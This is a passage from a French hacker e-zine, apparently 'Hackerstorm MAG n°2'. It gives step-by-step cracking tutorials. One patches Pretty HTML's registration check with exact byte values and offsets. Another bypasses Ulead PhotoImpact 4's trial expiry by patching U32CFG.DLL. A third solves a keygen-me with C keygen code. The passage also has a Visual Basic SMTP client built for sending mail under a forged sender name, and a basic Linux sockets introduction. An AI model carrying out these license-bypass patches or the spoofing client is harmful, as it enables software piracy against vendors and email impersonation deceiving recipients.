            Dans le menu debug, clique sur "Load process". Double-clique sur la ligne 4 et appuie sur F2

            pour placer un point d'arrêt. Appuie sur F9 en deux fois pour lancer l'execution du logiciel.

            Une fois la fenètre de Pretty HTML chargé, clique sur "Enter registration key" et tape n'importe

            quel nom et mot de passe. Clique sur "OK". Tu entendras un bip ! Basculer vers W32Dasm.

            Cherche la ou il y a écrit "Source for data disp 1" et clique sur "eip" et sur "code". Tu vois là

            ou il y a "BP*" ? C'est la ligne 4. Clique dessus. Et ensuite sur dword. Note la valeur à coté

            de l'adresse qui apparait au même endroit que la ligne 4 au paravant ( la valeur est 00f87d83 ).

            Bon, maintenant, regarde l'autre fenètre ou il y a ecrit "Patch Code". Clique sur ce bouton.et

            tape "cmp [ebp-08], 1". Moi, j'ai mit 1, mais tu peut mettre ce que tu veut. Clique sur "Apply Patch"

            et confirme. Ferme la fenètre. Regarde de nouveau "Source for data disp 1". Et oh ! Miracle,

            la valeur à changer ! Maintenant, c'est 01f87d83 ( enfin, si t'a mit 1 tout à l'heure !). Note cette valeur.

            Lance ton éditeur hexadécimal préféré et cherche la valeur 837df800. Pourquoi cette valeur,

            c'est un peu compliqué a expliqué ici ( consulte des manuels sur la manière dont les programmes

            chargent leurs données dans la mémoire ), mais sache qu'il faut prendre les valeurs que tu as

            notée 2 chiffre par 2, et lire à l'envers (ainsi 00 f8 7d 83 donne 83 7d f8 00 ). Il y en a peut être

            plusieures de ces valeurs, mais n'oublie pas que celle qu'on cherche se trouve près de la chaine

            "Thank you". Ok, t'as trouvé ? Pour moi, il est à l'offset 809DC en hexa ( 528612 en Décimal ).

            Ensuite, c'est pas compliqué, change le 837df800 en 837df801. Enregistre le tout, ferme tout

            les logiciels inutiles et lance Pretty HTML. Clique sur "Enter registered key" et tape le nom

            et mot de passe que tu veut ! Et la, Magie ! Tu es enregistré !

 

            Voila, c'était pas bien compliqué ! Mais, ce n'est qu'un début, et pour devenir un crackeur,

            tu doit vraiment t'y mettre et essayer de cracker n'importe quoi ( euh, commence quand même

            pas par des grands softs genre 3D Studio MAX, c'est un coup à te décourager !!! )

 

      4 - PhotoImpact 4 Trial Version  par Alexia[SKY]

 

            Objet : Crack de Ulead PhotoImpact 4 Trial version

            Niveau : C ( pas très compliqué....)

            Outils : Axe ( un éditeur hexadécimal )

            Outils : W32Dasm89 ( un désassembleur )

 

            Petit crackeur, tu es de retour ? C'est bien. Si tu as réussis à cracker Pretty HTML, tu es sur le chemin

            de la progression. Comme tu as déjà acquis de l'expérience, ce cours va être beaucoup moins détaillé,

            parceque je suis sur d'abord que tu as pas tellement envie de lire des pages et des pages de texte,

            et ensuite, parceque l'oiseau doit, petit à petit, voler de ses propres ailes !

            Bon allez, j'arrête mes conneries et on commence...

 

            1° On regarde le programme

            Les 30 premiers jours, le programme se lance normalement... ou presque. Il y a toujours cette boite

            de dialogue à la con au démarrage. Mais on va s'en occuper plus tard... OK, vous avez vu ?

            Bon, alors maintenant, avancez votre horloge de quelque mois pour voir ce qui se passe au bout

            de 30 jour ( euh non, ne le fais pas sinon, tu sera obligé de réinstaller windows. Donc on va faire

            comme si tu l'avais fais...). Après, relancez le soft, et là, galère, le programme lance toujours la boite

            de dialogue, mais il est impossible d'aller plus loin, le programme se ferme quand on clique sur OK.

            Remettez votre horloge à l'heure et relancez le soft : le soft ne se lance toujours pas...

            Conclusion : le programme vérifie la date et la compare à celle de la première execution.

                         Si la date à dépasser 30 jours, le programme se vérrouille.

 

            2° Comment contrer la protection ?

            Cette étape est celle qui ne s'apprend pas. Chaque cas est différent et c'est au crackeur de savoir

            s'adapter. J'ai déjà tenter d'apprendre l'art du crack à plusieurs personne et j'ai remarquer que

            c'est cette étape qui pose le plus de probleme aux débutant. Il sont capable de réaliser les opérations

            techniques, mais ne savent pas lesquelles réaliser. Alors, exercez vous le plus possible en utilisant

            votre matière grise plus que les tutoriaux. Je vais pas vous torturer plus longtemps. Pour contrer la

            protection, on a droit à deux solution :

                  Première méthode : On regarde ce qui ce passe quand on clique sur le bouton "Continuer".

                              On regarde ce qui se passe quand on clique sur "OK". On compare

                              et on effectue une petit modification de manière à ce que lorsque la date

                              est dépassée, si on clique sur "OK", tout se déroule comme si on cliquait

                              sur "Continuer".

                  Deuxième méthode : On regarde dans le code décompilé ce qui fait appel à la boite de dialogue

                              orange et ce qui fait appel à le fenètre principale du logiciel. Ensuite, on va

                              remplacer le code qui lance la boite de dialogue par celui qui lance la fenêtre.

                              De ce fait, l'application se lancera immédiatement quel que soit la date.

 

            Comme vous l'avez compris, la méthode la plus intéressante est la seconde. C'est donc celle là qu'on

            va réaliser. Notez bien qu'on ne va pas s'attarder à chercher les lignes de code qui verifient la date...

            Il est si simple de carrement les contourner :o)

 

            3° En pratique, ce que ça donne....

            Lancez iedit.exe avec W32Dasm ( CTRL+L et F9 pour ceux qui auraient pas encore trouvé... ).

            Quand la boite de dialogue apparait, cliquez sur API... La ligne de code qui viens d'etre executée est

            "4EB01D68 call USER32.DialogBoxParamA". C'est tout simplement la ligne qui affiche la boite de dialogue.

            Notez bien qu'on ne se trouve plus dans le fichier IEDIT.EXE lancé initialement, mais dans le module

            U32CFG.DLL. Et bien soit, on va le décompiler lui aussi. Il suffit juste de cliquer sur le nom de la dll dans la

            liste des modules. Donc tu te trouve à la ligne 4EB01D68. Ben maintenant clique sur Continue et on regarde

            ce qui se passe grace à F8 (mode pas à pas !). On constate qu'il y a un jne vers 4EB01D1C juste après un cmp

            ! Voila la solution !

            Le programme teste si on a cliquer sur Continue et nous envoie vers la suite si c'est oui. Remplacez à la ligne

            4EB01D68 "call USER32.DialogBoxParamA" par un "JMP 4EB01D1C" et 4 nop... ( Pour remplacer, il suffit

            de cliquer sur "Patch Code"... ) Et c'est pas plus compliqué que ca ! Remplacez les chaines hexadécimales

            adéquates par les nouvelles dans le fichier U32CFG.DLL.

 

            Ce tutorial est un peu plus compliqué parce que je n'ai quasiment rien expliqué en détails à part la manière de

            procéder, mais le crack en lui même ne m'a pas demandé plus de temps que celui de Pretty HTML. 

 

                                                By Alexia[SKY]

                 

      5 - Comment trouver une adresse de softice(ou windasm) qui corresponds a l'offset du fichier exe ? par eBrain

 

            Remarque: ce cours est util aux crackers et à ceux qui veulent connaitre la structure

                  des executables windows PE (portable executable)

 

            Réponse : générealement on fait une recherche de la chaine dans le programme et

                  puis on trouve l'offset dans le fichier. Mais je voudrais vous présenter

                  une autre méthode, à savoir sans faire de recherche.

 

            Outils nécessaires :

                  un editeur hexa

                  windasm

                  un peu de mathématiques

 

            Concrètement : prenons la version 6.2 de winzip32.exe (version tres ancienne de winzip)

                  ouvrons le avec windasm

                  on voit par exemple :

 

            COPIER/COLLER -------------------------------------------------------------------------------------------

                  * Reference To: USER32.GetDlgItemTextA, Ord:00F5h

                  |

                  :0040B418 FF15C8FA4D00        Call dword ptr [004DFAC8]

                        * call qui appelle la fenêtre d'enregistrement

                  :0040B41E 0FB605B0C24D00      movzx eax, byte ptr [004DC2B0]

                        *on stock en eax le nom entré dans Name. Ici : HUGS2000 dans l 'ex.

                  :0040B425 85C0                test eax, eax

                        *Vérifie si on a entré quelque chose, sinon --> erreur

                  :0040B427 0F841C000000        je 0040B449

                  :0040B42D 0FB605A0A44D00      movzx eax, byte ptr [004DA4A0]

                        * stock en eax le serial entré dans Registration. Ici : 12345678 dans l 'ex.

                  :0040B434 85C0                test eax, eax

                        *Vérifie si on a entré quelque chose, sinon --> erreur

                  :0040B436 0F840D000000        je 0040B449

                  :0040B43C E8F6F7FFFF          call 0040AC37

                        *Vérifie si le serial et le nom correspondent si OK alors eax =0 sinon

                  :0040B441 85C0                test eax, eax

                  :0040B443 0F8545000000        jne 0040B48E

            ---------------------------------------------------------------------------------------------------------

                  L'adresse 0040b418 est la même dans softice, sauf que dans softice il y a en plus un sélécteur du style :

                  0170:0040B418 FF15C8FA4D00    Call dword ptr [004DFAC8]

            0170 ici est le selecteur que windows attribue aux programmes il y a d'autre selecteurs, comme 015f, 0030.

            Pour l'instant on oublie le selecteur. A quel offset du fichier correspond ce code ?

            Ne faisons pas de recherche de la chaine du code FF15C8FA4D00 dans l'exe, oublions cette séquence de code.

            Tout d'abord si vous ne connaissez pas le header du format PE, je vous conseillerai de lire securimag

            (e-zine underground) que vous pouvez trouver sur madchat.org ou allez sur wotsit.org dans la section

            binaire. Il y a aussi des docs dessus.

                  ce qui nous interresse ici c'est seulement  :

                  Header          Offset          Bytes          Function

            ----------------------------------------------------------------------------------------------------

               MZ |       +00        |        2         |  signature 'MZ'= 4Dh 5Ah

                  |      +3C         |        4         |  offset du nouveau header PE ou 0

            ----------------------------------------------------------------------------------------------------

               PE |       +00        |        4         |  signature 'PE..' (= 50h 45h 00h 00h)

                  |       +2C        |        4         |  adresse de base

                  |                  |                  |  du code dans la mémoire du process

                  |       +10C       |        4         |  raw offset

            ----------------------------------------------------------------------------------------------------

            Le format PE possède à la fois le header MZ pour pouvoir être executé sous DOS (2.0+)

            et le header PE pour windows 9x et NT x.

            Exemple dans l'exe de winzip 6.2, on a :

            4D5A90000300000004000000FFFF0000    MZ..............

            B8000000000000004000000000000000    ........@.......

            00000000000000000000000000000000    ................

            000000000000000000000000 8000 0000  ................

            0E1FBA0E00B409CD21B8014CCD215468    ........!..L.!Th

            69732070726F6772616D2063616E6E6F    is program canno

            742062652072756E20696E20444F5320    t be run in DOS

            6D6F64652E0D0D0A2400000000000000    mode....$.......

            504500004C010700CF0C603200000000    PE..L.....`2....

            00000000E0000E010B010414007E0700    .............~..

            Le header de MZ commence a l'offset 0. La signature est MZ ou ZM.

            l'offset du header de PE est precisé à l'offset 3c ici 8000 ce qui est égale a l'offset 80 (hexa)

            à partir de l'offset 80 (hexa) on va 2c(hexa) octets plus loin on note le dword VIRTUAL OFFSET

            et 10c(hexa) + loin on note le dword RAW OFFSET.

            Remarque : dword est un double word, 4 octets

            Savez vous comment soustraire ou additionner ?

            Si non, fermez cet e-mag et allez prendre de l'air dehors !

            -------------------------------------------------------------------------------------------------

            * l'OFFSET du CODE dans windasm ou soft ice

            - (VIRTUAL OFFSET - RAW OFFSET) = OFFSET du FICHIER *

            -------------------------------------------------------------------------------------------------

 

            Actually : Le code se charge à virtual offset dans la mémoire, à cause de la taille du header et

                    les déclarations de l'exe(header). Le code ne commence qu'à l'offset RAW OFFSET.

                    En fait c'est beaucoup plus compliqué que ça mais j'ai un peu simplifié.

 

            VOILA ! avec notre exemple de winzip 6.2 on a VIRTUAL OFFSET = 1000 h et RAW OFFSET = 0400h

            Remarque : pour les neuneus, dans l'editeur hexa on a 0004 0000 qui correspond 0000 0400.

                       Les processeur INTEL lisent a l'envers octet par octet.

                       Un autre exemple : 1000 0000 => 00000010

 

 

            l'offset dans windasm :

            :0040B418 FF15C8FA4D00             Call dword ptr [004DFAC8]

            0040B418 - (1000-400) = 40b418-c00 =  40a818

 

            Bilan :

            ADRESSE DANS WINDASM(SOFTICE) /  FICHIER

            0040B418                      /  a818(hexa)

 

            Voilà allez sur l'offset a818 et vous l'avez votre séquence de code !

 

            Remarque : Les programmes windows (sauf kernel......) commencent a l'offset selecteur :

            0040 0000 + VIRTUAL offset donc 0040 0000 est la base en fait.

            Lisez Delphi 3 ou securimag(chapitre 16.4) vous trouvez d'avantage d'informations.

 

            Bien, j'espere que vous avez compris même si vous trouvez ça complêtement inutile.

                  Allez sur le site protools.hpages.net, il y a des tonnes de logiciels pour convertir

                  les offset DEBUGGER -> FILE et d'autre outils très efficaces.

 

                                                By eBrain (alias OCEAN), IRCnet #codefr

 

 

      6 - Solution Du KeygenMe par TiPiaX

 

            On va donc se faire le KeygneMe de moi!

            (eh oui je crack mes progs :)

 

            Tout d'abord on démarre le proggy et on rentre:

 

            nom:     TiPiaX

            serial :  1911 (vieille habitude, j'aurais pas du lire les tuts de Bama :)

 

            ensuite on fait CTRL+D pour faire apparaître Softice et vous tappez votre

            config comme d'hab :

 

            data

            code on

 

            puis on place un :

 

            bpx GetDlgItemTextA

 

            C'est un breakpoint sur l'API qui permet de loader les chaînes en mémoire.

            Puis CTRL+D pour quitter.

            Vous faites "OK" et là (on s'en doute pas du tout) SOFTice break ! sisi !

            On fait F12 pour revenir dans le prog (car là on est dans les APIs)

            et on arrive ici: (je vous commente un peu le truc).

            Je vous balance tout:

            légende : appel d'API en rouge.

                      endroits ou vont les jumps en vert.

                      ce qui nous intéresse en bleu.

 

            ------------------------------------------------------------------------------

            PUSH 32                                //

            PUSH 004056D4                   // <-cet argument correspond au buffer

            PUSH 000003E8                   // qui recevra le nom lors de l'appel

            PUSH EDI                             // de l'API.

 

            MOV  DWORD PTR [00405708],00000000      // <-On met quelques variables à 0.

            MOV  DWORD PTR [0040570C],00000000      //

            MOV  DWORD PTR [004056D0],00000000      //

            CALL [USER32!GetDlgItemTextA]          // Appel de GetDlgItemTextA pour chopper le nom

                 

            MOV  AL,[004056D4]                // met la premiere lettre du nom dans al

            TEST AL,AL                              // teste si la lettre est un 0

            JNZ  004010AA                          // saute sur (1) si oui    *voir ps(1)

                 

            PUSH 00                                     //

            PUSH 00405250                         // Sinon on appelle une boite de message

            PUSH 00405234                         // "entrez un nom".

            PUSH EDI                                   //

            CALL [USER32!MessageBoxA]  //

            MOV  EAX,00000001                //

            POP  EDI                                    //

            RET  0010                                  //

                 

            (1):

            PUSH ESI

            PUSH 00

            PUSH 00

            PUSH 000003E9

            PUSH EDI

            CALL [USER32!GetDlgItemInt]                // Appel de GetDlgItemInt pour chopper le serial entré

                 

            MOV Cl,[004056D4]

            MOV ESI,[0040570C]

            XOR EDX,EDX

            MOV [00405710],EAX               // serial en 00405710

            TEST CL,CL

            MOV [004056D0],EDX

            JZ 004010F4

 

            //!!!la boucle interessante!!! // détaillé après:)

            (2):

            MOVSX ECX,CL

            ADD ESI,ECX

            INC EDX

            MOV [00405708],ECX

            MOV CL,[EDX+004056D4]

            TEST CL,CL

            JNZ 0040108D                //saute sur (2)

 

            MOV 004056D0,EDX

            MOV ECX,ESI

            SHL ECX,05

            ADD ECX,ESI

            POP ESI

            CMP EAX,ECX

            MOV [0040570C],ECX

            PUSH 00

            JNZ 00401122

           

            //la boite de message "bravo"

 

            PUSH 0040522C

            PUSh 0040520C

            PUSH EDI

            CALL [USER32!MessageBoxA]

            MOV EAX,00000001

            POP EDI

            RET 0010

 

            //la boite de message Mauvais serial

 

            PUSH 00405205

            PUSH 004051E8

            PUSH EDI

            CALL [USER32!MessageBoxA]

            MOV EAX,00000001

            POP EDI

            RET 0010

 

            ------------------------------------------------------------------------------

 

            ps(1) : Le prog regarde si la premiere lettre est 0 car cela signifie qu'aucun nom n'a été entré.

            Dans ce cas il envoie une boite de message.

 

            Là on a vu une vue d'ensemble qu'on va résumer avant de passer à la suite:

           

            tout d'abord le prog appelle GetDlgItemTextA pour chopper notre nom qu'il met en 004056D4

            Il teste ensuite si on a bien entré un nom. Puis il prend le numero de serie qu'il place

            en 00405710. Après il génère le bon serial et le compare à celui qu'on avait entré puis

            il envoie les boites de messages: "Bravo, bon serial" ou "mauvais serial"

 

            Etudions donc la procédure qui génère le serial (c'était le bleu :)

 

            ------------------------------------------------------------------------------

 

            MOV Cl,[004056D4]                   // premiere lettre du nom dans Cl

            MOV ESI,[0040570C]                  // on met 0040570C à 0 (car ESI = 0 ici)

            XOR EDX,EDX                         // met EDX à 0

            MOV [00405710],EAX                  // serial en 00405710

            TEST CL,CL                          // teste si la premiere lettre est un 0

            MOV [004056D0],EDX                  // on s'en fout...

            JZ 004010F4

 

            //!!!la boucle interessante!!!

            (2):

            MOVSX ECX,CL                        // Met CL dans ECX (ça fait rien du tout, lol :)

            ADD ESI,ECX                         // on ajoute la valeur de la lettre dans ESI

            INC EDX                             // EDX = EDX +1

            MOV [00405708],ECX                  // Met la lettre dans 00405708

            MOV CL,[EDX+004056D4]               // TRES IMPORTANT : Cl vaut maintenant la valeur

                                                // du début du nom +1. En fait CL pointe sur la

                                                // prochaine lettre quoi.

            TEST CL,CL                          // si il y a plus de lettre

            JNZ 0040108D                        // on part sauter sur (2)

 

            ------------------------------------------------------------------------------

            Pour résumer:

            le prog prend donc le nom lettre par lettre et les additionne dans ESI. Donc ESI = lettre1 + lettre2 ...

            Car il faut savoir que toute lettre a une valeur sous forme de nombre entier.

            On pourrait penser que c'est fini, mais il reste encore ceci à ne pas oublier (c'est le plus dur :)

 

            ------------------------------------------------------------------------------

 

            MOV 004056D0,EDX              // on s'en tape :)

            MOV ECX,ESI                   // on met la valeur de notre addition dans ECX

            SHL ECX,05                    // on décalle ECX de 5 bits vers la gauche.

            ADD ECX,ESI                   // et on ajoute L'addition (ECX) au résultat.

            POP ESI

            CMP EAX,ECX                   // compare le bon et le mauvais serial.

            MOV [0040570C],ECX

            PUSH 00

            JNZ 00401122

 

            ------------------------------------------------------------------------------

 

            un décalage de bits à gauche revient à multiplier le nombre par une puissance de 2

            SHL 5 , 20 = décalage de 20 bits sur le nombre 5.

            ce qui équivaut à 5 * 2^20 .

 

            Donc dans notre cas on a SHL ECX,05 ce qui correspond à : ECX = ECX * 5^2

            soit : ECX = ECX * 32

            Si on regarde la suite du source on voit que l'on ajoute encore ESI au résultat. Or ESI = ECX

            donc en réalité le prog fait : ECX = ECX * 33

 

            Si vous avez tout compris : le serial vaut :

            (somme des lettres) *33

            Eh oui tout ce code juste pour ça ! :)

 

            Vous n'êtes pas obligé de comprendre comment marche SHL c'est juste mieux. Mais rien ne vous empêche

            de faire des décalages de bits dans votre Keygen pour trouver le serial.

            Maintenant il faut passer au coding de notre keygen. Si vous la programmez en asm, il suffit de faire

            un copier coller du prog (enfin presque quoi). C'est pourquoi on va la faire en c pour ce qui savent pas

            comment ça ce boutique. On va en faire 2 : une avec les decalages de bits et l'autre sans:

 

            Votre KeyGen:

 

            On voit la première sans les decalages de bits:

 

            ------------------------------------------------------------------------------

                  //les variables nécessaires:

 

                  int nombre = 0;

                  int total = 0;

                  int i = 0;

                  int serial;

                  char nom[50];

 

                  GetDlgItemText(hwnd,IDC_NOM,nom,50);

     

                  if (nom[0] == 0) //pas de nom !!

                  {

                        MessageBox(hwnd,"Vous devez entrer un nom","KeyGeN",MB_OK);

                        break;

                  }

 

                  for (i=0; nom[i] != 0; i++)

                  {

                        nombre = (char) nom[i];

                        total = total + nombre;

                  }

 

                  total = total * 33;

                  SetDlgItemInt(hwnd,IDC_SERIAL,total,NULL);

 

            ------------------------------------------------------------------------------

 

            Vous rajoutez une belle boite de dialogue à tout ça. Comme certains savent pas le faire je joint

            la source complète :) Vyons maintenant la même chose avec les décalages de bits. L'interêt est

            qu'il n'y a pas besoin de réfléchir, c'est du copier coller traduit en c :)

 

            ------------------------------------------------------------------------------

                  //les variables nécessaires:

 

                  int nombre = 0;

                  int total = 0;

                  int i = 0;

                  int serial;

                  char nom[50];

 

                  GetDlgItemText(hwnd,IDC_NOM,nom,50);

 

                  if (nom[0] == 0) //pas de nom !!

                  {

                        MessageBox(hwnd,"Vous devez entrer un nom","KeyGeN",MB_OK);

                        break;

                  }

 

                  for (i=0; nom[i] != 0; i++)

                  {

                        nombre = (char) nom[i];

                        total = total + nombre;

                  }

 

                  total = (total << 5) + total;

                  SetDlgItemInt(hwnd,IDC_SERIAL,total,NULL);

            ------------------------------------------------------------------------------

 

            Et voila ce tut s'achève ici. J'espère qu'il vous servira pour Keygener de vrai progs. Big greets à:

            Moi, Jufox, AntiSocial, Obscurer, LutinNoir, KoP, Christal, Pointbat, Bendi, TeeJi et tout FcF.

 

            Gros Fuck à : Mist :-(

 

            Bonne Chance - D'autres plus difficiles devraient suivre...

 

                                          By TiPiaX

                 

          ************************************************************************************

          *                      PROGRAMMATION par Lauspeed,Sboub                            *

          ************************************************************************************

 

      1 - Un client SMTP en Visual Basic par Lauspeed

 

            Conception:

            * Créez un nouveau projet.

            * Ajoutez le composant Microsoft Winsock Control (Ctrl+T)

            * Dans le formulaire de projet, créez :

                  - une Frame et nommez-la frame1 (Caption : "Statut :" )

                  - un label à l'intérieur de cette frame et nommez le statustxt (Caption : "")

                  - sept TextBox et nommez les respectivement txtFromEmailAddress, txtFromName,

                        txtToEmailAddress, ToNametxt, txtEmailSubject, txtEmailServer et

                        txtEmailBodyOfMessage (plus grande)

                        Foutez des labels pour vous retrouver.

                        Les noms sont en anglais pour éviter le problème des accents

                        (Je me suis suffisamment fais chier avec .... )

                  - deux CommandButton et nommez les Command1 et Command2

                        Caption : ("&Envoyer" pour la 1 et "&Quitter" pour la 2)

                  - un objet Winsock et nommez le Winsock1

 

               COPIER/COLLER -------------------------------------------------------------------------------------------

                  Dim Response As String, Reply As Integer, DateNow As String

                  Dim first As String, Second As String, Third As String

                  Dim Fourth As String, Fifth As String, Sixth As String

                  Dim Seventh As String, Eighth As String

                  Dim Start As Single, Tmr As Single

 

                        Sub SendEmail(MailServerName As String, FromName As String, FromEmailAddress As String, ToName As String,

                              ToEmailAddress As String, EmailSubject As String, EmailBodyOfMessage As String)

                              ' Nous mettons la propriété LocalPort à 0 afin que le port soit sélectionné au hasard

                              Winsock1.LocalPort = 0

                              ' Nous vérifions l'état du contrôle Winsock (fermé)

                              If Winsock1.State = sckClosed Then

                                    DateNow = Format(Date, "Ddd") & ", " & Format(Date, "dd Mmm YYYY") & " " & Format(Time,

                                          "hh:mm:ss") & "" & " -0600"

                              ' Votre pseudo-adresse E-mail est affecté à la variable first (voir fake mail via Telnet pour le "mail from:")

                                    first = "mail from:" + Chr(32) + FromEmailAddress + vbCrLf

                                    ' L'adresse E-mail de votre destinataire est affecté à la variable second (id pour le "rcpt to:")

                                    Second = "rcpt to:" + Chr(32) + ToEmailAddress + vbCrLf

                                    ' Date à laquelle le mail est envoyé affecté à une variable

                                    Third = "Date:" + Chr(32) + DateNow + vbCrLf

                                    ' Votre pseudo-nom affecté à une variable

                                    Fourth = "From:" + Chr(32) + FromName + vbCrLf

                                    ' Le nom de votre destinataire affecté à une variable

                                    Fifth = "To:" + Chr(32) + ToNametxt + vbCrLf

                                    ' Sujet du mail affecté à une variable

                                    Sixth = "Subject:" + Chr(32) + EmailSubject + vbCrLf

                                    ' Message en lui même affecté à une variable

                                    Seventh = EmailBodyOfMessage + vbCrLf

                                    ' Pseudo-programme par lequel a été envoyé le mail (A modifié selon vos désirs)

                                    Ninth = "X-Mailer: EBT Reporter v 2.x" + vbCrLf

                                    ' On affecte à la variable eight l'ensemble des variables définies précédemment afin de se faciliter les choses

                                    Eighth = Fourth + Third + Ninth + Fifth + Sixth 

                                    ' Nous sélectionnons le protocole TCP

                                    Winsock1.Protocol = sckTCPProtocol

                                    ' Adresse de l'host (Dans ce cas du serveur SMTP)

                                    Winsock1.RemoteHost = MailServerName

                                    ' Nous rentrons le port SMTP dans la propiètè RemotePort du contrôle Winsock

                                    Winsock1.RemotePort = 25

                                    ' Nous commençons la connexion maintenant que tout est pret

                                    Winsock1.Connect

                                          WaitFor ("220")

                                    StatusTxt.Caption = "Connection en cours.... Hackerstorm s'occupe de tout"

                                    StatusTxt.Refresh

                                          Winsock1.SendData ("HELO worldcomputers.com" + vbCrLf)

                                    WaitFor ("250")

                                    StatusTxt.Caption = "Connexion aboutie"

                                    StatusTxt.Refresh

                                    Winsock1.SendData (first)

                                    StatusTxt.Caption = "Envoi du message en cours..."

                                    StatusTxt.Refresh

                                    WaitFor ("250")

                                    Winsock1.SendData (Second)

                                    WaitFor ("250")

                                    Winsock1.SendData ("data" + vbCrLf)

                                    WaitFor ("354")

                                    Winsock1.SendData (Eighth + vbCrLf)

                                    Winsock1.SendData (Seventh + vbCrLf)

                                    Winsock1.SendData ("." + vbCrLf)

                                    WaitFor ("250")

                                    Winsock1.SendData ("quit" + vbCrLf)

                                    StatusTxt.Caption = "Envoi achevé "

                                    StatusTxt.Refresh

                                    WaitFor ("221")

                                    Winsock1.Close

                              Else

                                    MsgBox (Str(Winsock1.State))

                              End If

                        End Sub

 

                  Sub WaitFor(ResponseCode As String)

                        ' Nous mettons un contrôle Timer pour éviter de laisser le programme tourner à vie en cas

                        '  d'impossibilité de contacter l'host

                              Start = Timer

                        While Len(Response) = 0

                              Tmr = Start - Timer

                                          ' Le programme vérifie l'arrivée d'une réponse de l'host

                                    DoEvents

                                    If Tmr > 50 Then ' Temps pendant lequel le serveur attend une réponse

                                    MsgBox "Erreur lors de la connexion au serveur SMTP (Timed out)", 64, MsgTitle

                                    Exit Sub

                                    End If

                              Wend

                              While Left(Response, 3) <> ResponseCode

                                          DoEvents

                                                If Tmr > 50 Then

                                                            MsgBox "Erreur lors de la réponse du serveur SMTP :" +

                                                                   " La réponse devrait être " + ResponseCode" +

                                                                   " mais la réponse reçu est : " + Response, 64, MsgTitle

                                                            Exit Sub

                                                End If

                                    Wend

                                    ' Envoie une réponse au serveur

                                    Response = ""

                              End Sub

 

                  Private Sub Command1_Click()

                              SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text,

                              txtToEmailAddress.Text,txtToEmailAddress.Text,txtEmailSubject.Text,txtEmailBodyOfMessage.Text

                              ' Nous mettons dans le statut que le mail a été envoyé

                              StatusTxt.Caption = "Votre E-Mail a été envoyé avec succès"

                              StatusTxt.Refresh

                         Beep

                               Close

                  End Sub

 

                  Private Sub Command2_Click()

                              End

                  End Sub

 

                  Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

                        ' Nous vérifions l'arrivée d'une réponse

                        Winsock1.GetData Response

                  End Sub

            ---------------------------------------------------------------------------------------------------------

 

            C'est tout. Cette source vous permet de vous amuser sans vous faire chier avec Telnet.

            Vous pouvez remplacer la textbox par une listbox avec des serveurs SMTP si vous le voulez,

            mais moi, j'en ai trop marre.

 

                                                      By Lauspeed

 

      2 - Programmation des sockets en C sous Linux par Sboub

 

            Dans ce Hackerstorm MAG n°2 (yeah !) nous allons parler de la programmation

            des sockets en C sous LINUX (meme principe que sous WINDOWS vu que nous n'utiliserons pas

            encore de RAW SOCKET, mais le boss de WINDOWS c'est TIPIAX...salut à lui!).

            Cet article a été fait un petit peu vite vu que je manque de temps... mais promis la prochaine

            fois ce sera mieux :)

 

            ----

            N.B => Tous ceux qui ne pigent que dalle ou qui ont des questions particulères (ou

            bien qui peuvent m'instruire !) sont les bienvenus sur #hackerstorm en UNDERNET ou sur

            SBOUB666@hotmail.com

            ----

 

         A - Les sockets,qu'est ce que c'est ?

 

            Un socket (un/une ?, bon on s'en fou) c'est en fait un canal de communication que vous ouvrez ou

            que vous écoutez pour voir si d'autres personnes vous envoies des données.

            Il existe différents type de sockets:

 

            SOCK_STREAM

            Très utilisée, communiction dans les deux sens. Plusieurs connexions possibles en meme temps.

 

            SOCK_DGRAM

            Ici, il n'y a pas de moyen de controler si tous les paquets sont arrivés mais c'est un protocole

            très peu utilisé donc aucun problème.

 

            SOCK_RAW

            C'est le plus interressant : avec ce protocole vous faites CE QUE VOUS VOULEZ !! Vous pouvez envoyer

            un paquet IP avec la source désiréé etc... très utilisé pour le SPOOFING.

 

            SOCK_RDM

            Pas encore supporté ?

 

            SOCK_SEQPACKET

            Ressemble au DGRAM...

 

            J'ai été un peu court dans cette partie car ce n'est pas très utile... et je manque de temps ! :)

 

         B - Ouvrir une connection

 

            Il existe différents type d'adresse :

              AF_UNIX     (Unix internal protocols)

              AF_INET     (ARPA Internet protocols)

              AF_ISO      (ISO protocols)

              AF_NS       (Xerox Network Systems protocols)

              AF_IMPLINK  (IMP "host at IMP" link layer)

 

            Et protocoles....:

              ip     0   IP    # internet protocol, pseudo protocol number

              icmp   1   ICMP  # internet control message protocol

              igmp   2   IGMP  # internet group multicast protocol

              ggp    3   GGP   # gateway-gateway protocol

              tcp    6   TCP   # transmission control protocol

              pup    12  PUP   # PARC universal packet protocol

              udp    17  UDP   # user datagram protocol

              idp    22  IDP   # WhatsThis?

              raw    255 RAW   # RAW IP interface

 

            Les bibliothèque importantes sont <sys/types.h> et <sys/socket.h>.

 

            Donc voici comment ouvrir une connection:

 

            int sockfd; // le numéro du socket (utile car on peut en ouvrir plusieurs)

            struct hostent *he; // la structure qui recevra nos infos

            struct sockaddr_in serveur_addr; // la structure qui recevra les infos du serveur par exemple

 

            // On résoud le nom...

            if ((he=gethostbyname(server)) == NULL) {herror("gethostbyname");exit(1); }

            if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {perror("socket"); exit(1); }

 

            // On rempli les structures...

            serveur_addr.sin_family = AF_INET;

            serveur_addr.sin_port = htons(port);

            serveur_addr.sin_addr = *((struct in_addr *)he->h_addr);

 

            // On se connecte avec le serveur...

            if (connect(sockfd, (struct sockaddr *)&serveur_addr,sizeof(struct sockaddr)) == -1) {perror("connect"); exit(1);}

 

            Ca y est vous êtes connecté ! En cas de problème la fonction renvoie -1 et le type d'erreur.

 

         C - Envoyer et recevoir des données.

 

            Voici les définitions des fonctions le permettant...

 

              int recv(int s, void *buf, int len, unsigned int flags);

              int send(int s, const void *msg, int len, unsigned int flags);

 

              int recvfrom(int s, void *buf, int len, unsigned int flags, struct sockaddr*from, int *fromlen);

              int sendto(int s, const void *msg, int len, unsigned int flags, const struct sockaddr *to, int tolen);

 

 

            EXEMPLE:

            ~~~~~~~~

            char *envoi = "Test...";

            send(sock,envoi,strlen(envoi),0);

 

            sock=notre socket

            envoi=notre chaine

            strlen(envoi)=la longeur de la chaine envoyée

            0=le flag (MSG_OOB, NORMAL...)

 

            Nous pouvons aussi utiliser les fonctions READ et WRITE pour recevoir et envoyer des données.

 

            Comme ceci:

            write(s, envoi, strlen(envoi));

            read(s, recu, 69000);

 

         D - Fermer une connection

 

                  C'est très simple, utilisez la commande "close(socket)". Ici socket est le nom de votre socket.

 

         E - Un peu plus loin...

 

